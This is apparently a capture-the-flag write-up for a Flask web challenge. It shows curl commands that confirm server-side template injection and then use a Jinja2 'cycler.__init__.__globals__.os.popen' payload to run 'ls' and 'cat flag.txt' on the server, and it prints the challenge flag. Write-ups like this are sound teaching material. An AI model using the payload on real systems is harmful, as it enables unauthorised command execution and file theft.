pathfinder Writeup

Description

Can you be my friend ?

Solution

let's visit the web page :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/' -k -s | html2text

****** Hi FRIEND!, my name is pathfinder. Let's become AMIGOS!!!
but first give me your ?name ******
```

seeing `?name` hints that we should send a parameter `name` containing the value of the name, let's try that :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/?name=test' -k -s | html2text

****** - Hello test! ******
```

as we guessed, we must send the name in the parameter, then we get it displayed on the page.

if we check the header we get in the response, we will notice that this web app runs on flask :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/?name=test' -k -s -I

HTTP/1.1 200 OK
server: Werkzeug/2.3.7 Python/3.8.17
date: Sun, 17 Dec 2023 13:39:20 GMT
content-type: text/html; charset=utf-8
content-length: 22
```

since this is running flask, and we have a controllable value rendering on the page, we can try `SSTI`, let's try a basic payload like `{{7*7}}` and see if we get `49` as the name :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/?name=\{\{7*7\}\}' -k -s| html2text
```

```
****** - Hello 49! ******
```

that worked, this confirms that we have `SSTI`, let's get command execution with this payload `{{cycler.__init__.__globals__.os.popen('ls').read()}}` :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/?name=\{\
{cycler.__init__.__globals__.os.popen("ls").read()\}\}' -k -s| html2text

****** - Hello __pycache__ app.py flag.txt requirements.txt ! ******
```

we see that the command `ls` executed successfully, we see the flag there, let's read it with this payload `{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}` :

```
└─$ curl 'https://pathfinder.hackini24.shellmates.club/?name=\{\
{cycler.__init__.__globals__.os.popen("cat%20flag.txt").read()\}\}' -k -s|
html2text

****** - Hello
shellmates{ohHh_God_i_foRGoOOoooOot_ABBBbBBBboUT_TemPPPpllaaATES} ! ******
```

- flag : `shellmates{ohHh_God_i_foRGoOOoooOot_ABBBbBBBboUT_TemPPPpllaaATES}`